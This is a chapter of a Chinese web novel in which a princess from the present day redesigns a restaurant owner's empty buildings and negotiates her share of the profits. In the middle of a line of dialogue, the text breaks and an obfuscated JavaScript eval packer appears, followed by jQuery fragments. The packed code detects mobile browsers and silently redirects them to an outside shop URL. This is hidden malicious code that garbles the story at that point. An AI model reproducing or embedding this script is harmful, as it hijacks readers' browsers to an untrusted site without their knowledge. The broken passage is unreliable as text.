“啊?”
消炎又是何意?这昭宁郡主怎么每日说话如此奇怪。
萧严捋着自己的山羊胡,蹙着眉偷偷瞟她。
独孤安卿没理,招招手,问道:“来来来,萧东家啊,你平日里常常疾走吗?”
萧严听到这声称呼心中宽慰,今日聊这么久终于被尊重一次了。
他摇摇头,不解的回道:“不曾。”
“遛猫遛狗呢?”
“不曾。”
“那就是……喜欢在高处观星看月?”
萧严嘿嘿一笑:“也不曾的郡主。”
“那你给这么多楼都空着干嘛啊?!”
独孤安卿骤然提高音量,萧严吓得往后一缩。
“高中宿舍集体搬过来你这楼都还住不满。”
芷瑟见独孤安卿气的翻白眼,忙过去扇风:“小姐消消气,消消气。”
萧严抹了下头顶的汗,虽然听不懂说的这些话,但也明白独孤安卿肯定是不喜欢这些楼都空着的做法了。
“那依郡主的意思是……”
“你们比隔壁好太多的一个点就是,这楼多。”
独孤安卿转过身面向他:“快到外族人和西洋人进京的时候了,我朝历来对外和睦友好,自然为他们安排吃住,但你也知道,除了这批有身份带着交流目的来的人,还有一批人,他们花钱多,人也多,但朝廷不会为他们安排吃住。”
萧严立刻接话道:“是除京城之外其他地方的商人。”
独孤安卿打了个响指:“说对咯。”
“他们来这不过就是揽生意谈客,西洋外族何时走,他们才何时走。”
“这可是笔大单。”
萧严犹豫着,没接话。
独孤安卿逐渐有点不耐烦:“你还有什么好犹豫的。”
萧严叹口气,解释道:“不瞒郡主,咱们天香楼从早忙到晚,是抽不出人手来的,尤其是之前,凌云楼并不像今日这么风光,京城九成的人都来的是我们天香楼,生意一向火爆,所以后面这几栋楼我们想的是不如转租他人,犯不着再弄几栋的厢房,雇人也要好大一笔银子。
”
“但凌云楼这段时日抢走我们不少生意,郡主的法子虽然好,但是不过维持这一段时日,更重要的是,这几栋楼并不像郡主想的一般,全都可以用来做厢房,里面大小格局不一,很多甚至连床,桌椅都没有,若是用来做厢房,又得采购一批,客人还没来,就又先支出了……”
独孤安卿耐心告罄:“本宫什么时候跟你说要把这几栋楼全住满了?”
萧严愣了一瞬:“那郡主的意思是……”
独孤安卿望着布局,这些楼其实跟现代小区差不多,一栋楼又一栋楼的。
但区别是,这天香楼后面打通着其中一栋楼,便是用来做拍卖会的地方,既然是连着的,从她那间厢房看,就能直接看见拍卖会。
“你酒楼是门面,后面才是消遣的地儿。”
萧严小心翼翼的道:“还请郡主提点。”
独孤安卿走进天香楼左后侧的楼内,从一楼巡视,一直到四楼,和天香楼内的正常厢房无异,里面的布局也都可以作为正常厢房使用。
“这栋,从一楼开始全作为厢房可以吗?几十间房,不少营生了。”
萧严看着这栋,沉思后道:“当然可以。”
独孤安卿不多做停留,出去去了天香楼正后面的楼。
一楼全部空着,跟平地没什么两样,二三楼各有几间房,不多,都是四间正常厢房标准,八间大房间,里面住两人是绰绰有余的。
“女子修面你可曾见过?”
萧严点头:“见过的郡主,郡主的意思是…?”
独孤安卿雷厉风行的安排:“一楼,放几张罗汉床,美人榻,用来待客。”
“二三楼,统一放凉床,小房间只放一张,大房间放两张。”
“用作给女子修面。”
萧严猛地皱起眉:“郡主,仅仅是修面可用不了这么大的场地。”
独孤安卿摆摆手:“当然不仅仅是修面,其实这个学名叫……美容。”
萧严愣住:“美容?”
独孤安卿不耐烦地道:“就是可以让人容光焕发的东西。”
随即看着他:“修面的工具不足以支撑这些功效,我这有原材料和工具,到时你只需派人来本宫这拿就好。”
她语气变得正经:“萧严,本宫知道你不愿新人本宫,但本宫既要你酒楼分成,便不会做亏本买卖。”
不等萧严回答,她开口:“右边那栋楼不用去了,在这就能看得清三层全是空着的。”
“三楼听戏曲,你需搜集我们京城本土的戏,以及其他地方,南派北派所有的戏,外来的人一听新鲜,二听乡愁。”
“二楼娱乐消遣,围棋,象棋,叶子戏,还有麻将,国际象棋,这两个你不知道,还是今日我回去,将玩法写下来,你派人来取。”
“一楼曲水流觞,这便需要你将中间的空地腾出来,弄出个小的荷塘水池。”
她一气儿说完,转头问萧严:“听懂了吗?”
萧严一时不知道如何开口,这昭宁郡主知晓的,会的东西可太多了。
就算她说的这么多,他听都没听过,但看她游刃有余的样子,他就是不信也不行。
独孤安卿看向周围,所有人皆是目瞪口呆的看着她。
“小姐,你知道的可真多。”
芷瑟惊掉下巴,佩服的说道。
独孤安卿哼哼两声:“那是,本郡主是谁啊?”
萧严低垂着眼,看不清他的神色,再抬眼时,眼眸透露着坚定。
“谢郡主提点,这些事我立马着手派人去办。”
独孤安卿打断道:“等等,我没记错的话,你们天香楼大堂除了吃饭,还有个说书人是吧。”
萧严点头。
“一般有人听吗?”
萧严尴尬的笑道:“一般来讲没人听,大家更多的是吃饭。”
她“哦”了一声:“那是因为你们的话本太无聊了。”
她思索着,像是想到了什么,开口道:“这样,我会去先拟一个话本,名字叫……”
芷瑟好奇道:“小姐,你还会拟话本呀?”
独孤安卿摩挲着下巴:“也不是我拟的,主要是…啧…怎么跟你说呢…”
“算了不说这个了,反正名字叫,叫……”
她灵光一闪:“《惹了绿茶疯批权臣后,病秧子她死遁了》。”
场内顿时鸦雀无声。
独孤安卿皱眉:“怎么都不说话了,这名起的不好听吗?”
芷瑟捧场道:“好,好听!”
她叹口气:“知道你们不懂这名字的意思,反正我到时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760845|208346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候先把前传给你们,你们看了就知道了。”
“但我还有一点要说,给客人做美容的人和材料,以及她们身上的服饰,我来提供,话本也是我来提供,懂了吗?”
萧严从那超长难句话本名回神过来。
“懂的,郡主。”
他又有些顾虑的说道:“郡主,那分成的事……您想要多少?”
独孤安卿挑挑眉:“你能给多少呢?”
萧严心一狠:“让利三成。”
独孤安卿一瞬静默,随即大笑起来,笑得她眼泪都出来了。
萧严不禁有些怕意,他行走江湖多年,什么没见过,可现在却害怕一个小姑娘的笑,即便她是郡主。
她的笑听着太过疯狂。
他们萧家的眼线,满京城到处都是,独孤安卿当时在清漪园罚人的事,以及狠厉手段和很多细节,他到现在都清清楚楚。
这种手段连他们萧家都不用,他们萧家最多就是上刑罚人狠,但不会这么羞辱他人。
一个小姑娘不仅罚人下得去手,虽然也不是她下的手,但是她下的令。
连羞辱人都如此狠厉。
萧严抹了下额头上不知何时冒出的冷汗:“郡主是不满意吗?”
独孤安卿拿手帕擦了擦眼角笑出来的泪,慢慢收敛起笑容:“萧严,我独孤安卿一般不玩,要玩就玩大的。”
“你不觉得这些,太不够看了点吗?”
她微微眯眼,审视着他:“我给你带来的利润,可不止这三成。”
萧严心跳如雷,沉下一口气,试探着问:“那郡主想要几成?”
独孤安卿开口,提出最终条件:“若利润翻了不止两倍,五成。”
萧严咬牙,随即应声。
“那就听郡主的。”
如若能翻两倍往上,那他们也比之前赚的更多,不亏,更能证明独孤安卿这些法子可行,那之后,说不定会给他们更多这些法子。
这样的话,他们原定的在江南再开一家酒楼,也完全可以。
独孤安卿稍微有些满意:“行,待本宫将人手器具都弄好,你们这边也布置得差不多,就能正式开业了。”
“萧严,你知道这京城最不缺的就是有钱人,你也知道,有些人看着清贫,实则富可敌国,他们不是花不起钱,不过是没有地方有让他们花钱的欲望和能力。”
“好了,今日就先这样吧,本宫走了。”
说罢,独孤安卿抬脚便往出迈。
“郡主!”
她皱眉看向身后的萧严:“又有何事?”
萧严沉默片刻,开口道:“郡主要万分保重。”
独孤安卿稍顿:“说清楚,什么意思。”
他似不想多说,但又叹口气:“我朝记载,曾有一族隐世而居,但却多懂天机,他们为后世血脉可知更多,将他们所知所晓合起编订成《古术要》。”
“因此《古术要》只在他们族内,是万不可流传出去的。”
“郡主那日幸亏没有暴露自己的身份,拍卖散场后,不少人都开始打听拍走《古术要》的人的身份,想来,是要强抢。”
独孤安卿静默一瞬,非但不惊慌,反而突然变得笑呵呵的,明明是一张绝代风华的脸,笑起来更是美的不可方物,但萧严只觉得瘆得慌。
“萧严啊,你们家拍卖场支持七天无理由退货吗?”